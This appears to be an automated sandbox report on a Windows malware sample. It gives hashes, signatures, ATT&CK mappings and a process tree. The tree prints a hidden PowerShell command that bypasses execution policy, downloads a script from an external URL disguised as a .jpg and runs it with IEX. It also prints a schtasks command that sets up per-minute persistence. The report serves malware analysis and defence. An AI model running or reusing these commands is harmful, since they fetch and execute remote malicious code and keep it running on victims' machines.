feaf57c2993c580aa9d23610268ca0d88a7ca2f2294e54e11d95efb50a0858bc

General

Target

feaf57c2993c580aa9d23610268ca0d88a7ca2f2294e54e11d95efb50a0858bc.exe
Size

6KB
MD5

77421b1f90fc1e9247f693e857e8c429
SHA1

63c26635980d5a185a24d1be79c877a1e8507133
SHA256

feaf57c2993c580aa9d23610268ca0d88a7ca2f2294e54e11d95efb50a0858bc
SHA512

0bb90e930e0856504631a95792175a149b8565a9acbfdbe68a74e13573e00f1eb433b3c73439523e670b3b66559619c3c85efce9881544f0381afc88e3e8b095
SSDEEP

96:1jYUzP8hRH7AKjC2LcS14bqxqsmthY2VxEzNt:Fz8hRb1CNSGJsmjYSu

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://a.top4top.net/p_814sg63b2.jpg

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2964	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2500	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 2500	2468	feaf57c2993c580aa9d23610268ca0d88a7ca2f2294e54e11d95efb50a0858bc.exe	28
PID 2468 wrote to memory of 2500	2468	feaf57c2993c580aa9d23610268ca0d88a7ca2f2294e54e11d95efb50a0858bc.exe	28
PID 2468 wrote to memory of 2500	2468	feaf57c2993c580aa9d23610268ca0d88a7ca2f2294e54e11d95efb50a0858bc.exe	28
PID 2096 wrote to memory of 2560	2096	taskeng.exe	33
PID 2096 wrote to memory of 2560	2096	taskeng.exe	33
PID 2096 wrote to memory of 2560	2096	taskeng.exe	33
PID 2560 wrote to memory of 2824	2560	WScript.exe	34
PID 2560 wrote to memory of 2824	2560	WScript.exe	34
PID 2560 wrote to memory of 2824	2560	WScript.exe	34
PID 2824 wrote to memory of 2964	2824	cmd.exe	36
PID 2824 wrote to memory of 2964	2824	cmd.exe	36
PID 2824 wrote to memory of 2964	2824	cmd.exe	36

C:\Users\Admin\AppData\Local\Temp\feaf57c2993c580aa9d23610268ca0d88a7ca2f2294e54e11d95efb50a0858bc.exe
"C:\Users\Admin\AppData\Local\Temp\feaf57c2993c580aa9d23610268ca0d88a7ca2f2294e54e11d95efb50a0858bc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 1 /tn "Update" /tr "C:\Users\Admin\AppData\Local\Temp\Microsoft32.vbs"
  2⤵
  - Creates scheduled task(s)
  PID:2500

C:\Windows\system32\taskeng.exe
taskeng.exe {900CD88D-98AF-4386-8560-D3F9AA4ADF99} S-1-5-21-377084978-2088738870-2818360375-1000:DSWJWADP\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\WScript.exe
  C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Temp\Microsoft32.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://a.top4top.net/p_814sg63b2.jpg');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; hackbacktrack
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://a.top4top.net/p_814sg63b2.jpg');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; hackbacktrack
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Microsoft32.vbs

Filesize
537B

MD5
44476af998bf0a5714e3ab100f022a1e

SHA1
bf26b1f4227b8bfc27d4a7cb2a1cdd4ad224d08e

SHA256
ef4eae75f800b98fb7c189bd92ba4a1db6d1cc665791634d5ec3c3fe535c1ec2

SHA512
e02c3d2590f478deafaf3f20c421951c26ccf966817a7299fe2a4ede856190960f1853a4a2907d28f2ff24a357e9d0c039a69d1ee5f53e5c9ffde428d911bd99

Download Submit
memory/2468-54-0x0000000000950000-0x0000000000958000-memory.dmp

Filesize
32KB

Download
memory/2468-55-0x000007FEF59D0000-0x000007FEF63BC000-memory.dmp

Filesize
9.9MB

Download
memory/2468-57-0x000007FEF59D0000-0x000007FEF63BC000-memory.dmp

Filesize
9.9MB

Download
memory/2964-65-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2964-63-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/2964-64-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2964-66-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2964-67-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2964-68-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2964-69-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download
memory/2964-70-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2964-71-0x0000000002810000-0x0000000002890000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads